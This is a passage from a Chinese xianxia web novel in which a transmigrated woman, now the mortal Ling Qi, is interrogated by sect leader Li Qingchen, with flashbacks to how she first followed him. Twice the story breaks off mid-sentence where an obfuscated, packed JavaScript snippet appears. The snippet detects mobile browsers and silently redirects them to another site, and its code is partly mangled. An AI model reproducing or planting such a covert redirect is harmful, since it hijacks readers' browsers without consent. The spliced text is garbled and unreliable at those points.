“宗主,二人不仅是您的内门弟子,更是剑宗众弟子之首!如今情状也无需我多说,口出污言、狂妄无状,哪里有修仙者的样子!定然是被妖魔之气蒙了心,又或者是被邪修蒙骗,还请宗主勿念旧情,早下决断!” 祁寻和符骄一怒,早知道秦师叔刚正不阿,但此事绝对与凌七无关,他为何还要迁怒凌七? 两人正要说话,倏然间寒气从高座之上弥漫开来,夹杂着蚀骨般铮铮剑气,如同雾间寒针,让人仅一动,就绷出一背的冷汗来。 所有人大气都不敢喘,不论是何种境界的长老、弟子,都噤若寒蝉。 李青尘将指尖收回袖口,缓缓看向殿下的众人。 偌大的剑宗,静得恍若无人。郭昆和秦钟紧皱着眉,脖颈和手臂绷如磐石,祁寻和符骄瞳孔闪动,面白如纸,修为低的弟子更是直接跪在了地上,汗如雨下。 最后,他是视线落在了中间,那个纤细的身影上。 如果说秦钟的灵压如烈日灼身,那么李青尘的的灵压就如同淹没她的深海。 她现在一个凡人,就连最普通的气境修士的灵压都承受不了,更何况是一个已达化境的一宗之主呢? 傅灵死死地按着地面,脖颈像是不堪承受般更加垂落下去,方寸之间,眼前只有莹白的玉石。 她感觉到潮水般的视线在她的身上流过,从指尖到脊背,从发丝到白衣。 她闭了闭眼,更加低下头,竭力保证自己的呼吸像个凡人那样凌乱。 从上方望去,只能看到她乌黑的发顶,和脖颈处白皙的皮肤。纤细的发丝垂落,被苍白的指腹碾在地面。 和那些身形健壮的修仙者比,她的身形纤瘦、两臂挺直,安静孱弱得像是像是埋在重重风霜下的玉枝。在无处不在的灵压里,两臂渐渐承受不住,摇摇欲坠,像是缚仙台上即散的云烟。 但她从始至终没有发出半点声音。 半晌,傅灵听到上面传来李青尘的声音: “你,抬起头来。” 金戈争鸣之声碰在冰冷的仙府玉壁上,恍然有了低哑的意味,然而被高高俯视下的那个凡女却一直低着头,好似灵魂早已飞到九重天外。 所有人一愣,不明白为什么刚才那个在大殿之上能和执法堂长老据理力争的凡女此时却像是个哑巴。 祁寻马上道:“师父勿怪,凌七姑娘有耳疾目疾,并非有意忽视您的命令!” 符骄也道:“师父,她肉体凡胎,无法承受您的……” 他还未说完,李青尘已然动了一下手指。 傅灵低垂的头部一动,像是被无形的力量缓缓抬起了头。她按在地面上方指尖骤然变白。 她看着玉石里倒映出自己苍白的脸,呼吸沉了下去。 她现在是凌七了,不是穿越者傅灵,也不是骗人之后被魂飞魄散的傅灵,李青尘根本不会认出她…… 她蜷缩起手指,缓缓抬起眼。 隔着重重云雾,隔着绵长的云梯,她再次看向上辈子的攻略对象。 李青尘,《天道一》的修仙男主,她的师尊。 此时此刻,她好像什么都没想,又好像回忆起了很多。疼痛、紧张、慌乱、迷茫……刚起的一点思绪还没等她抓住就散了,快得像是缚仙台上的云雾。 她的脑海里也是云烟雾罩,不知道是自己的放空还是系统的故意沉默,她什么都听不到了。 不过本来她的听力就不怎么好,视力更是差到分不清符骄和祁寻,此时隔着云烟和一百年的时光,她只能看到高高的玉座上,一个金白光芒交织的身影。 然而对方一垂眸,她瞬间一愣。 云消雾散,她竟然看清了对方的双眼。 竟然是一百年都没变—— “李仙长!李道友!李、青、尘!!你等等我——” 傅灵站在一把长剑上,颤颤巍巍地飞在半空中。 说是半空,也只不过是离地一米罢了。她用刚从系统那里学来的《地球人修仙入门指南》操纵着体内的灵气,勉强让自己能御剑飞行。 然而现在只是勉强飞离地,她追的人早就在千米高空中自由飞翔了。 她抬头,看到空中只剩下一个灰点的影子,一个着急“砰”的一声栽了下来。 【宿主,男主已经离你三千米远,按照您目前的速度,恐怕无法完成接近他的任务。】 “废话……”傅灵躺在地上,被摔得直哼哼,“我现在只是一个学了修仙术半个小时的萌新,怎么可能和那种天纵奇才比!你如果在刚才给我一个丹境的身体,我早就追上他,和他把酒言欢、情同手足了!” 【如果宿主现在是丹境,那么就不能触发他帮你的剧情。况且以男主的戒心,恐怕您也不能接近他。】 “……确实。”傅灵嘶哈嘶哈地站起来,她掉下来的高度虽然不高,但栽下来的寸劲也够她喝一壶的。 她一瘸一拐地拿起长剑,看着一身的狼狈,叹了一口气。 她刚穿进来也不过一个小时的时间。一个小时前,她突然发现自己眼前不是大学的教室,而是一个古色古香的庭院,她穿着孝服跪在地上,眼前是三口漆黑的棺材。 她倒吸一口凉气,周围的那些古人瞬间躬身上前,扶棺而哭: “傅姑娘,莫要伤心了,你爹你娘你大哥的在天之灵也不会安息啊!” “傅堡主,您为保护金元灵芝不慎遭到屠门之祸,幸好留下一女得以延续血脉。只可惜二女儿修为尚浅,我们这些老家伙们也没那个能力帮您报仇雪恨!实在愧对多年情分啊!” “张兄此言甚是!傅堡主,思来想去,只有借您家的灵芝一用,寻来有志之士为您报仇雪恨。傅家姑娘,那灵芝可在你那儿?” 迎着十多双灼热的目光,傅灵下意识地掐向自己的脸蛋。 虽然她沉迷修仙小说,但是在梦里梦到自己变成被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834583|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逼迫的遗孤也太不爽了吧。 然而等疼痛传入脑海,她意识到自己此时不是在做梦的时候,系统的声音跳了出来。 它告诉她她现在所在的地方是傅家堡,她是傅堡主的二女儿傅灵,当然傅家堡只有一家三口,她现在的身份是系统捏造的。 而这个世界正是她所看的小说《天道》系列第一部的世界,她只有完成攻略男主的任务,才可以回到现实世界。 傅灵一口气没上来,倒在了棺材下面。 周围的人惊慌失措地扶她起来,安慰她即便再伤心也不能撞棺寻死啊! 傅灵现在就想死,她想掐死自己让系统感受追宿主火葬场的感觉。她宁愿试一试死后能回到现代社会也不想待在这个没有网络没有马桶没有小说看的世界! 【你不是《天道》系列的资深读者吗?连对男主的赞美之词都是一万字打底,现在有一个能亲自接近男主的机会,为什么不接受?】 傅灵一口气缓了过来,她推开众人面色狰狞: “你一个系统懂什么叫‘主角’和‘读者’的感情?!你既然知道我能用一万字吹男主的彩虹屁,就应该知道他在我心里完全就是神!我可以仰慕他、怜惜他、yy他,但就是不能占有他!你凭什么用狗屁的奖励玷污我们读者和主角的羁绊!” 系统沉默了。 傅灵还想再说,系统又道:【我尊重你的意愿,但请看过男主再说。】 傅灵冷笑:“不用拿这个考验干部!我是绝对不会……” 【男主来了。】 傅灵收声,心脏下意识地狂跳起来。 李青尘身为《天道》的男主,作者自然会对他的容貌多加着墨。在“傅家堡”这个副本里,李青尘领师门之命,下山除妖。 来到修仙外界,遇到傅家堡一家三口被杀,傅堡主为保金元灵芝被同镇金刀门门主灭门。 金元灵芝能固本培元,是能淬炼金灵根的最重要的灵植之一。 同镇散修一方面以金元灵芝为名,召集修士为傅堡主报仇,一方面各有心思想要据为己有。 毕竟金刀门门主背靠灵兽门,是谁也惹不起的存在,而他们这些散修,最高修为也只不过是筑境中期罢了。 李青尘就是在这个时候出现,拎着金刀门门主的尸体,饶是心思各异的散修,看到对方的一瞬间也不由得愣了一瞬。 对,不吃茄子大神对其容貌最多的着墨便是“众人愣了一瞬”,傅灵将那些零碎的文字翻来覆去地看了几百遍,脑海中也只有一个模糊的剑眉星目的模样。 她正屏住呼吸的时候,“砰”的一声,一个鲜红的人被扔在了棺材前。 所有人一愣,将其反转过来,不由得失声: “金刀门门主!” 然后傅灵的眼前出现了一双靴子,这靴子只是普通的黑色长靴,没有金纹。也没有仙气,但她就是觉得与众不同。 她缓缓抬起头,视线顺着修长的腿缓缓上移,来到被一截蓝色的腰带紧紧束缚的腰部,最后定在了对方的脸上。 然后一愣。 对方垂眸看她,面带青涩,但黑瞳平静如水。满堂凄惶在对方眼里都成了流光倒影。剑眉入鬓,薄唇微敛,万千情绪都似乎被收束在那极平的一线里。 他一袭灰袍遥遥立在门边,劲瘦如松,背负长剑。平和的气息显示出他只是一个筑境初期,但他微微一施礼,蓝色的衣带随着鲜红的剑穗翻飞,便如晨昏交替间第一缕破开晦暗的青霭来。 “道友,我帮你报了杀父之仇,你能否遵守约定?” 对方看着她的眼睛,声音平和,任谁都看不出他刚才杀了一个人。 更何况修仙界隔一个境界犹如天堑,筑境初期想杀中期难如登天。当然,即便有人想置喙,也忍不住看了血肉模糊的尸体一眼。 傅灵的喉咙动了动,眼也不眨地看着他。 对方微皱了一下眉,视线扫过众人: “道友如果不信,可以检查此人尸身。我手中有此人的储物袋,可印上道友的灵力印记,他的法宝于我无用,我只要你手里的灵芝。” 众人的脸色变了。 傅灵还是没说话,只觉得被洪钟撞在了脑袋上,脑海中只有一阵一阵的回声: 就是他了,就是他了!她在心里呐喊着,此时此刻仿佛所有的幻想都具象化,她脑海中的文字,她心里的声音,都在眼前成为了现实! 不,是超出了她的想象。 他的眉眼、唇齿,都好像卡在了“妖异”的极限,被造物的工笔描绘出清正敛然的模样,即便他收敛了气息,即便他被灰袍加身,她也能看出来—— 他就是李青尘, 是十八岁的李青尘! 是能一剑万骨枯,也能敛气如凡的李青尘! “道友?!” “我、我答应!” “……” 4. 第四章 傅灵的脸涨红得发疼,她手足无措,还是在系统的指导下打开储物袋,将灵芝交了出去。 李青尘检查好灵芝,转身就要走。 傅灵如梦初醒,揪着对方的裤腿就要跟他走。李青尘顿了一下,施了一礼转身就踏剑离去。 傅灵看着空荡荡的手心愣了一下,赶紧御剑跟过去。只是她临阵磨枪,还不懂调用身体里的灵力,就一头栽了下去。 系统说如果给她一个丹境的身体,李青尘肯定不会帮她。 确实,李青尘是最谨慎不过的一个人。 《天道》系列之所以这么成功,归功于第一部对李青尘的刻画。在“莫欺少年穷”的时代,“谨慎流”男主就格外不同。 李青尘出身于藏锋谷,藏锋谷以护宗剑阵,万敌莫敌著名。但在八年前,护宗剑阵被破,李谷主一家惨死,只有李青尘一人得以逃脱。 在那之后,李青尘敛气潜行,小小的他背负满谷的仇恨修炼。从十岁到十六岁,数不尽的生死一瞬,道不完的人心难测。 多年的经历让他养成了谨慎的性格,面对敌人没有十分把握绝对不会出手,就算被逼到绝境也绝对不会使用藏锋谷的底牌。 即便在十六岁后进入剑宗仍是隐藏修为。在灭宗之战时才一剑封神。 这次出手,也只是看中了金元灵芝不得不杀人,在确定金刀门门主只有筑境中期的时候,利用绝灵阵和大量爆炸符将其杀死。 如果她的修为有异样,他根本就不会接近。 想到这里,傅灵也怪自己刚才太鲁莽了,她扶着腰呲牙咧嘴地踏上剑: “那我就更应该、更应该抓紧追他了。”她边默念心法,边勉强让自己飞起来:“以他怕麻烦的性格,现在肯定恨不得马上跑回剑宗了吧……” 【宿主改变注意了?我就说过你看到男主一定会改变主意。】 剑尖抖了一下,傅灵大声辩驳: “你怎么又开始亵渎我们和主角的感情?!我跟你说,我留下来只是因为……因为他是李青尘!” 她说话的声音更大了些:“只看他的眼睛,我就知道什么是主角。这世上的万千风华和光环都值得加诸在他身上,就算他穿得灰扑扑的,我也觉得他像琼玉在雾蒙蒙中透出光辉来,他迟早要坐在仙府的高位上,成为千年来飞升的第一人,李青尘生来就是要做仙君的!” 【……终于知道宿主的一万字“彩虹屁”是如何写得的了。】 傅灵喘着粗气御剑飞行,眼睛紧紧盯着远处那个即将消失的灰点: “总之,你还是不懂。他不是文字,也不是声音,更不是电视里扭曲的形象,他变成了真正的人!我刚才看到他隐藏身份的样子,就想看到他一剑封神的样子。看到他挥剑杀人的冷漠,就想看到他得到法宝的欣喜……《天道》里,他经历那么多的冒险、那么多的生离死别,我才只看到开头,怎么舍得离开?” 冰冷的数据永远不懂读者对主角的执念,在这个世界她可以看到主角波澜壮阔的一生,至于攻略什么的都不重要了。 ……其实也不是那么不重要,她也有自己的小心思。她打算先用执念做借口敷衍系统,等她待不下去了再想办法离开。 如果真走不了,凭着和李青尘打好的关系,对方都是能飞升的人了,难道还不能帮她破碎虚空回家? 系统好似信了,【只是现在李青尘已经走远,宿主如果追不上,就需要花费几年的时间到达剑宗。】 一个攻略系统竟然什么道具都没有,业余的吧! 傅灵哪里甘心浪费几年时间。她恶向胆边生,摇摇晃晃站起来大喊: “李青尘!你在不等我!我就、我就死在这里,牌位上也写着你的名字,让你生生世世不得安生!” 话音刚落,她就被一股风带到了地上。傅灵呸了一口土,刚坐起来就不敢动了。 她感觉到无处不在的寒意。 灰色的衣袍随风落下,长剑发出嗡鸣骤然入鞘。李青尘走到她面前,问: “请问道友,刚才我并未留下姓名,你是如何知道我的名字?” 傅灵差点把土吃下去。她忘了,前期的李青尘虽然低调谨慎,但也杀伐果断,对于任何能知道他身世的、知道他底牌的人都杀无赦。 自己代入读者视角对对方无比熟悉,但在李青尘眼里,她只是一个陌生人罢了。 她偷偷瞄了一眼周围,果然发现安静了很多。 她想到原著中的“绝灵阵”,刚才自己突然掉下来并非是风吹的,而是对方早就在周围设下了阵法!如果自己的回答不对,就会和金刀门门主死得一样惨。 鸡皮疙瘩起了全身,她不敢看李青尘的眼睛,心思电转。 突然大声道: “我、我认识你!你是不是剑宗的弟子?三天前隔壁县里的王家老爷被蛇妖袭击,还是你们剑宗弟子解决的,我听闻其中一个李姓名青尘的弟子虽然修为最低,但却是唯一一个毫发未伤的。刚才观道友行事谨慎,就随便猜一猜,没想到这么巧,哈哈……” 李青尘迈了一步,灰色的袍子划过草叶,携走些许露珠,傅灵的视线也随着他飘荡的腰带左右移动。 直到他的声音像是清冽的草露般落了下来。 “既然如此,是我误会道友了,还请见谅。三天前傅家突逢大难,道友还能关心百里之外的事,实属难得。” 傅灵下意识地想回答因为自己只关注他,还未张口突然对上他的眼睛。 李青尘的眉目狭长,没有表情的时候静若远山。 此时他的神色没有半点变化,瞳孔还是平静地映出周围的一切,她穿着孝服的身影映在他的眼底,像是墨石中唯一颤动的白涧。 但傅灵就是知道,他动杀机了。 她瞬间打了个激灵。没想到自己刚见到男主还没打好关系,就成了他的敌人。 喉咙有点痛,她说话的声音也哑:“因为……因为我其实一直想加入剑宗!” 这句话说完,她就像是找到了支点,一口气说下去: “你看我的只不过是气境中期的修为也知道,我、我在家不受宠。我爹死后我也没多伤心,我知道我肯定会受那些长辈欺负,所以我就对剑宗的事格外在意。我本来打算等报了杀父之仇之后去隔壁县找你们的,没想到就遇到了、遇到了你来……” 李青尘的眼尾动了一下,唯一打破“清正”的长睫掩住眼底的神色。 七天前,他奉宗门之命来灵界外围除妖。没想到那个蛇妖隐藏实力,十分难缠。他和几个师兄师姐合力将其击杀,但蛇妖之事似乎牵扯到妖界,几人只好飞讯请他师父前来。 等候期间他独自来到这个县城,碰到了傅家一事。 傅灵说的话看似无懈可击,但他却觉得有一丝不对劲。 只再一低头,倏然一怔。 瘦弱的气境修士穿着白色的孝服瑟瑟发抖,普通的长剑还躺在一边,看起来被逼问得怯懦可怜,但对方早已开始偷瞄他。 从单薄的眉眼间荡出来的目光,一截一截的。 那种眼神…… 李青尘说不出来。 “道友可是信了?”李青尘没说话,傅灵就认为他信了,就算不信也只是怀疑了一半。以她对对方的了解,要是觉得不对早就下手了。 她松了一口气,又生龙活虎地站起来,将剑捡起来:“那咱们就走吧。” 李青尘一愣:“去哪里?” “去剑宗啊。”傅灵把剑入鞘,决定让李青尘载她一把:“你要回剑宗,我也要去剑宗,咱们顺路,正好一起走啊。” 李青尘:“……” 他向来没什么情绪的眉目此时才是真正的空白。 “道友既然要加入剑宗,我却是不能擅自做主的。加入剑宗,需要经过三重考验,更何况如果路途之苦都不愿受,如何能征服修行之道?” “话不是这么说。”傅灵擦了擦脸上的灰,看着李青尘一脸认真:“修行讲究一个缘法。我在百里之外听到了道友的名字是缘,你帮我报了杀父之仇是缘,我们在此相聚是缘,如果逆天而行错过了许多机缘如何好?李道友,咱们这么有缘,你捎带我一程不是正好?” 李青尘唤剑出鞘,周围不知何时恢复了声响。他在猎猎风声中走向自己的剑: “李某还有要事在身,暂时不能回剑宗。我的几个师姐还在附近,傅道友如若执意进剑宗,可等她们。” 眼看他又要飞走,傅灵下意识抓住他的腰带: “不行,我就要你!” 风声骤停,就连嗡鸣不止的长剑也像是被人踩住了尾巴一动不动。 李青尘先是缓缓看向她扯住他腰带的手,再看向她的脸,黑沉沉的瞳孔颤了一瞬。 傅灵:“……” 她的大脑一片空白。 她在心里哀嚎,撕咬被角。在现实社会里她不是个话多的人,怎么一到这个世界就办了那么多的蠢事。 好像一个第一次见到偶像的脑残粉一样…… “系统,你那里真的没有道具吗?能回溯时光的金手指,或者让人失忆的大力丸。现在李青尘对我的好感度肯定是负的吧……” 【我这里确实没有道具,也没有积分。不过宿主请放心,攻略任务也没有好感度要求。通关条件很简单:“在不提示不要求的情况下,让男主主动对你求婚”,只要宿主……】 “等一下,你先不要说话!他的嘴巴动了!我还是第一次看到他这么多的表情……在书里总是读他遇到困难时‘皱了一下眉’,‘抿了一下唇’,没想到有生之年竟然真的亲眼看到,他肯定是对我感到为难了,好可爱啊,嘿嘿……” 【……】 李青尘确实是感到了为难。 他从傅灵刚才冲动的行为里找到对方追到这里的根本原因。 对方其实是对他…… 他对这种感情并不陌生,以前完成宗门任务,或者偶然因为利益出手时,就会有一些女修或者凡人对他示好。 但那只是因他的恩情产生的濡慕,或是因为他修士的身份产生的向往,并不代表有实质的意味。 但是眼前的傅修士……有一点不同。 她就这么扯着他的衣带,脸红如霞,但眼睛却一眨不眨地看着自己,仿佛想将他的每一个表情刻下。 那种眼神……他终于觉得为何不对,因为她的眼神中带着一点倾慕,还有怜爱、欣喜、悲伤,甚至有一点……淫邪? 他的眉心一动,唇瓣一抿,微深的唇纹被一点点地收进去,就像是隐藏了所有情绪。 但反而清冽之外的无措、迷茫的气息被带了出来。 他移开视线,指尖一亮,傅灵的指尖就自动被抬起。 “道友,自重。” 他说完,还想说什么,但看了傅灵的眼睛一眼,转身就跳上了仙剑。 傅灵一惊,眼巴巴地追上去:“李道友,是我孟浪了。我只是、只是太心急!你如果不带上我,我又不认识你的同门,如果到剑宗要花上几年的时间该怎么办?” 李青尘本不欲多说,但看她满身狼狈只道: “道友刚才说缘法,如果真的找不到在下的同门,那便是无缘了。修行路漫漫,几年的时间磨练心智、突破筑境,也许道友会更容易进入剑宗。” 傅灵一惊,他这是铁了心要把自己抛下了?! 她刚想不管不顾地抱住他的腿来个空中滑翔,对方已经抬起手要定住她。 倏然,远处仙气飘飘,一股强大的气息迫了过来。 李青尘面色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834584|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微变,他跳下长剑,离她三米远,然后躬身施礼: “拜见师父!” 远处的那片云一散,一股蓝光在他们眼前骤然化作六人,四男两女。 为首的是一头发稀疏,白须大肚老者,对方笑眯眯地看了李青尘一眼,然后视线落在傅灵身上,动了一下眉梢。 听李青尘这么称呼,傅灵立刻猜到了对方的身份。 剑宗里最逍遥佛系的长老——正阳真人。 她也学着对方的样子胡乱地施了一个礼。 “师弟,你怎么跑到这里了,让我们好找。” 一个身材高挑,书生模样的弟子唉声叹气地说。 李青尘敛目站直,又恢复了他在外人面前平心静气、低调内敛的模样: “秦钟师兄,我听闻这附近有灵草,所以不知不觉飞到这里,让各位师兄师姐担心了。” 正阳真人身旁的两位女修一笑,“就知道师弟会如此。” 秦钟摆摆手,旁边的一个肤色微黑,头戴金冠背负紫剑男子沉声道: “念你修为低下,出宗不易,仅此一次下不为例。” 李青尘垂眸应是:“多谢大师兄教诲。” 傅灵直直看过去,这就是那个因为同门小师妹而对李青尘三番两次针对的、后期被李青尘一剑封喉的、剑宗小boss大师兄庄天成? 她上前一步,微施一礼:“原来这就是剑宗修士的风采,特别是这位大师兄对同门的回护之情、谆谆教诲之心让人心生佩服。李道友有如此贴心的师兄,还要不远百里来此采药,实在辜负了大师兄的爱才之心。我观大师兄衣冠楚楚。剑光烈烈,难道不会分你一点吗?” 李青尘一顿,隔着抬起的手臂,他看到那个侃侃而谈的小道友瞪着晶亮的眼睛看向前方。 “……” 庄天成琢磨出一丝不对劲,“我与同门叙旧,你是何人?” 在李青尘开口前,傅灵马上道:“我是马上要加入剑宗的人!” 剑宗哪是你想加入就加入的,庄天成冷笑,正要说话,正阳真人捋了一下胡须: “那你倒是说说,你出身何处,为何要加入剑宗?” 傅灵把系统给她编造的身世说了,然后又说自己的远大志向,夸了一下剑宗的伟大等等。 正阳真人笑眯眯地不说话,庄天成本就厌恶平时不声不响却总是莫名让女修,特别是裘小师妹倾心的李青尘,此时看二人站在一起更是嫌恶。 马上问:“师父,您不会答应她进宗吧?剑宗哪里是那么好进的,她只是一个气境……” “哎?”正阳真人抬手:“凡是讲究缘法。这小姑娘虽然修为不高,但我观她颇有灵气,且还是稀有的水灵根,就算入我座下当个挂名弟子也是不错的。” 系统虽然给她的境界不高,但是灵根不错。 在修仙界,灵根越少,天赋越高。李青尘是金灵根,在进入剑宗前他喝下秘药,变成金水双灵根,在弟子中是中流。 庄天成还想再说,傅灵已经拜下去:“弟子傅灵拜见师……” 膝盖还没有落地,倏然被一股风抬起。 李青尘道:“师父,她不能拜您为师。” 傅灵立刻看向对方,愣住了。 正阳笑眯眯地问:“哦?青尘向来不否决他人,可是有何隐情?” 李青尘压了一下眉,他看了一眼傅灵,傅灵的胸膛剧烈起伏着,也不反驳,就是这么直直看着他。 夕阳似被揉碎了洒在她的眼角,她吸了吸鼻子,干脆回头不看他。 李青尘顿了顿,低声道:“因为……我已经认了她作徒弟。” 傅灵:“……” 所有人惊了,正阳真人笑出声:“何时的事,青尘竟然也能收徒了?” 李青尘的视线一移:“就在刚才。” 傅灵:“……” 正阳真人笑得肚皮都在颤:“好啊好啊,我的小徒弟竟然也收徒了,如此正是缘份啊!这样,傅灵也就算进了剑宗了。傅灵,还不快叫师父?” 李青尘起身,垂眸静气地看她,年纪轻轻,已经有了长辈姿态: “傅灵,以后你就是我的徒儿了,进入剑宗,记住定要尊重师长,潜心修炼,只有六根清净,才能得道。日后……若有修炼上的困难,也可以找师祖和师伯们……和我。” 傅灵:“……” 系统:【……】 她是服了,没想到李青尘竟然想用这个方法绝了她的心思。在修仙界师徒之防大于男女之防,他不是想当她师父,是想当她没办法肖想的“爹”啊! 她的胸膛剧烈起伏,好啊,好啊,真不愧是李青尘! 不过他就以为她没办法了吗? 她撇嘴施礼,先向自己的师祖、师伯们问好,最后对着李青尘一拜: “师尊……” 秦钟等人一愣,庄天成冷笑:“李师弟不过是筑境弟子,在宗门籍籍无名,哪里能称得上一个‘尊’?” 傅灵正色:“师尊刚才帮我报了杀父之仇,为人谨慎、不骄不躁,还尊敬师长、平易待人,在我心里就称得上一个‘尊’字。” 庄天成无语了。 李青尘垂眸,霞光轻飘飘地落在他的眼底,恍然有了舒朗之意。 他点了一下头, “徒儿。” 傅灵得意偷笑。 这群书中的“傻帽”,哪里知道“师父”和“师尊”的区别。“师父”亦师亦父,“师尊”可是在小说界里被yy无数次,常年霸榜高岭之花需要强行采摘的神一般的存在啊! 再说她可不是普通的脑残粉,她还是妈粉、妹妹粉、女友粉、事业粉! 以后就各论各的!他叫她徒儿,她可以叫他崽崽、哥哥、宝贝……嘿嘿。 5. 第五章 “宗主……” 液体从雾蒙蒙的眼睛里流出来,傅灵从回忆里挣脱,她没什么表情,声音却是颤抖的: “您是要杀了我一个凡人吗?我做错了何事,请宗主让我死个明白。” 高座之上的仙君没有收回视线,远远地,那双眼睛像是云山雾罩后的寒泉,清寒得让人心生战栗。 他的视线像是无孔不入的潮寒还附着在她的脸上,最后顿在她朦胧的双眸中。 “你叫什么名字?” 李青尘问。 傅灵抖了一下长睫,泪珠从眼尾砸在地上。 “我叫凌七。” “何时生人?” “盛元七年生人,家住凌家村,家里父母尚在,还有四个哥哥,两个姐姐。” 她说的是人界皇帝的年号。在人界生活了十八年,她的语气平缓自然,已经完完全全是一个普通的凡人了。 ……说来也好笑,她在穿进这个世界以前,不也是一个普通的凡人吗? 她有些恍惚,感觉那股冰冷又回到了脸上,她瞬间回神。冷汗顺着脖颈流下,她沙哑着嗓子马上接着回: “如果宗主不信,可以派人查证。我不是妖怪,也不是邪魔。我只是一个普通的凡人。” 她又流下了泪: “您是这里最厉害的人,如果您不能为我做主,擅自去怀疑一个凡人,那世间还有公理?我虽然只是一个平民,却也知道‘公正’二字。如果您真的要杀我,我无话可说。我只希望下辈子能投个好胎,不再当会被人随意杀死的凡人……” 眼泪顺着脸颊流到了脖颈,她并不去擦,反而梗着脖子对上上面人的视线。 这一次,她终于看清了李青尘的脸。 对方随意坐着,长袍坠地,随着她逐渐清晰的视线,他的脸也像是水下浮出的琼玉,缓缓透出冰冷的温润来。 一百年过去了,他竟然一点都没有变,还是那张清正极致面孔。眉目如墨,薄唇微抿,金丝与白光交织的宗主仙袍如同罩山云雾,半遮了他的身形,却也更显威压。 及地的长发被随意束起,黑绸一般覆在半边身体上,黑白交织下,如同浇筑了一副冷彻厚重的神像。 他没有任何表情,微微垂下目光时愈像是远古的神明,冰冷、晦暗。 如果说以前的李青尘像是毫无波动,却又柔软和煦的风,现在就是亘古不变、毫无温度的玉石。 她不知不觉地屏住了呼吸,察觉到了自己又陷入恍惚,于是将指甲扣进了掌心,任凭对方寒流一般的视线在自己的脸上扫过。 听她越说越可怜,郭昆马上道:“宗主,我已查证,凌家村确实全村都是普通凡人,且他们都对凌七十分熟……” 话音未落,李青尘抬起了手,他瞬间咽回喉咙里的话。 绣着金丝的白袍从修长的指尖落在手腕,李青尘缓缓放下手,视线从傅灵湿漉漉的脸上和毫无光亮的双眼中收回,鸦羽半遮,如乌云藏星。 他不说话,所有人也不敢发出任何声响。 看起来傅灵是过了这一关,但她垂下眼睛,握着已经出血的手心,没有半点松懈。她知道以李青尘的谨慎肯定不会这么容易放过她。 可能会突然问皇宫里的皇帝叫什么,又或者会突然问她在哪里遇到的祁寻、符骄两个人。 他肯定会想方设法地找出她的破绽。 半晌,就在她的指尖僵直的时候。 突然听对方问: “你家院中可种了槐树?” 傅灵一愣,众人也是不明所以。这是什么试探?难道对方看到过以前的凌家,所以来试探她的真假? 这怎么可能? 系统自从暴露了之后,特别害怕他们三个男人,避之不及。如果他在凌家村出现过,系统肯定会通知她啊。 她低下头,眼神闪烁:“我也不清楚……我从小有耳疾、目疾,很少出门,如果漏掉家中事物也未可知……” 说完,她因为久跪感受到了膝盖的疼痛,不由得闭了闭眼,死死地抓住了大腿。 上方突然传来声响,说来也奇怪,傅灵的耳朵勉强能听清这些修士说的话,但她也能听到高座上细碎的声响。 ——是长发和衣物磨擦的声音,李青尘缓缓站了起来。 秦钟马上道:“宗主,既然已经审问不出什么来,就把她关押吧。如果她有心要迷惑两个弟子,隔绝灵气谅她也做不出什么来。” 他自诩已经网开一面,但是祁寻和符骄却是更急,剑宗即便再开明,关押修士的地方也不是一个凡人能扛下来的。 “师父!师叔!你们可以拷问我们,放凌七姑娘回去吧!” “我并非被她迷惑,是一见钟情!师父,你们清心寡欲许久,又怎知情窦初开的感受?!宗门的戒律怎能对一个小小凡人施压,偌大的一个剑宗容不下一个段感情吗?” 秦钟的青筋暴起:“慎言!你们两个仍死不悔……” 话音未落,高台之上的仙君停下了脚步。 他回头,长袖带起流云:“将她带到我的洞府里。” 整个大殿死一般寂静。 ………… 宗主说的是“ta”,并非是“ta、men”,所以要带走的人显而易见。 是那个凌七。 郭昆恍惚了一瞬,迎着殿内众人各异的目光,马上道: “为了找到真相,宗主肯定是要……亲自看管凌七,是真是假定有分辨。祁寻。符骄,你们不必再闹了,宗主的洞府灵气充裕,那凡人的命暂时保住了。” 众人恍然,不由得赞叹宗主圣明。 郭昆说完,看高台上只剩一团消散的云烟,只得让一个小女弟子带傅灵去宗主洞府。 祁寻和符骄大松了一口气,道:“如此便最好了,至少凌姑娘不用受那苦牢之罪。师父还是网开一面的,只希望师父能早些查明真相,送她回家……” 秦钟背着手走来,他压着嗓子:“你们别以为有宗主撑腰就万事大吉!就算那个凡女是无辜的,你们私下定情也是犯了宗规!” 什么破宗规!和人定情还要宗门同意,一群墨守成规的老古董。待此事一了,即便脱下一层皮也要让师父答应他和凌七姑娘的婚事! 两个人同时这么想,又不约而同瞪对方一眼,哼了一声。 郭昆看着又要掐起来的两个弟子,预感这件事不会那么简单,不由得叹了一口气。 祁寻符骄两个人被分开关押,傅灵被带到了一座峰上。 女弟子带着她御空飞行,隔得很远她就看到了一座郁郁葱葱的山峰,对比别的峰上层叠建筑,它自然得浑然天成,但也诡异地死寂。 最为显眼的就是峰顶上的白玉台,占据了整个峰顶。四龙盘旋,拉扯铁链。让人怀疑到底是犯了什么罪才能被如此严厉地束缚着。 是缚仙台,上辈子她魂飞魄散的地方。 当初缚仙台被三个男人的力量冲击得七零八落,如今又恢复了原状。苍白偌大,古树掩映中藏不住的肃杀。 